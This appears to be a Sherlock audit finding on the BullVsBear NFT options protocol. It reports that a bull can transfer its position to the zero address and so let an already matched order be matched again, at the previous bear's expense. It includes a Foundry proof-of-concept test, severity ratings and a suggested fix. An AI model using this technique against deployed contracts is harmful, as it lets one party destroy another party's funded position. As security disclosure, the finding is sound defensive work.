[High-1] Any bull can override the already matched order with the new bear, resulting in a loss for the previous bear instantly.

Summary

Any bull can override the already matched order with the new bear, resulting in a loss for the previous bear instantly.

Vulnerability Detail

BullVsBear allows two parties to take the opposite position on any allowed collection.

Any one of Bull or Bear could be a maker and sign an order off-chain, and then the taker can match it onchain using matchOrder().

Once an order is matched, ideally, it shouldn't be possible for any party to override it.

However, due to the combination of one incomplete check in checkIsValidOrder and the ability for any party to transfer their position to any address, Bulls of any order can override the already matched order at the loss of the previous bear.

matchOrder depends on checkIsValidOrder to detect if the given order is already matched, and checkIsValidOrder achieves so via the following check. If bulls mapping for a particular contractId is set, it is assumed that the order is already matched.

require(bulls[uint(orderHash)] == address(0), "ORDER_ALREADY_MATCHED");

However, what if bull transfers the position to zero address?

Now any new bear or bull itself can act as a bear and matchOrder again.

Verification:

Inside Integration.t.sol

function testMatchingAndContractSettlement(BvbProtocol.Order memory order) public {
        vm.assume(order.premium <= type(uint).max / 1000);
        vm.assume(order.collateral <= type(uint).max / 1000);
        // Build the order
        order.validity = block.timestamp + 1 hours;
        order.expiry = block.timestamp + 1 days;
        order.nonce = 10;
        order.fee = bvb.fee();
        order.maker = bull;
        order.asset = address(usdc);
        order.collection = address(doodles);
        order.isBull = true;

        bytes32 orderHash = bvb.hashOrder(order);

        // Sign the order
        bytes memory signature = signOrderHash(bullPrivateKey, orderHash);

        // Calculate fees
        uint owedFeesBull = (order.collateral * fee) / 1000;
        uint owedFeesBear = (order.premium * fee) / 1000;

        // Give Bull and Bear enough USDC
        deal(address(usdc), bull, type(uint).max);
        deal(address(usdc), bear, type(uint).max);

        // Initial balances
        uint initialBalanceBull = usdc.balanceOf(bull);
        uint initialBalanceBear = usdc.balanceOf(bear);
        uint initialBalanceBvb = usdc.balanceOf(address(bvb));
        uint initialWithdrawableFees = bvb.withdrawableFees(address(usdc));

        // Approve Bvb to withdraw USDC from Bull and Bear
        vm.prank(bull);
        usdc.approve(address(bvb), type(uint).max);
        vm.prank(bear);
        usdc.approve(address(bvb), type(uint).max);

        // Maker (Bear) match with this order
        vm.prank(bear); 
        bvb.matchOrder(order, signature);
        vm.prank(bull);
        bvb.transferPosition(orderHash, true, address(0));
        vm.prank(bear);
        bvb.matchOrder(order, signature);

    }

Impact : High

Bear would lose their position, even if the current market condition is in its favor. They would lose only premium in the best case and premium + collateral in the worst case.

Likelihood: Medium

Any bull can execute this; there is no need for any special circumstances to occur. However, the bull would lose its initial collateral as well. There are two cases

Bull is winning: here, there is no clear incentive for the bull to execute this.
Bear is winning: here, anyway bull is going to lose its collateral; now, if the given NFT collection has become worthless, or if the bull doesn't want to lose the bet, the bull has a clear incentive to grieve the bear. Since this is a grieving vector, it's not a high likelihood, but because there is a clear way for one party to grieve another party from winning and end it in a draw and go one up, it could also happen, hence rating likelihood as a medium.

Code Snippet

https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L760 https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L521

Tool used

Manual Review

Recommendation

Consider blocking transfers to zero address inside transferPosition.

Duplicate of #114

sherlock-audit / 2022-11-bullvbear-judging

curiousapple - [High-1] Any bull can override the already matched order with the new bear, resulting in a loss for the previous bear instantly. #118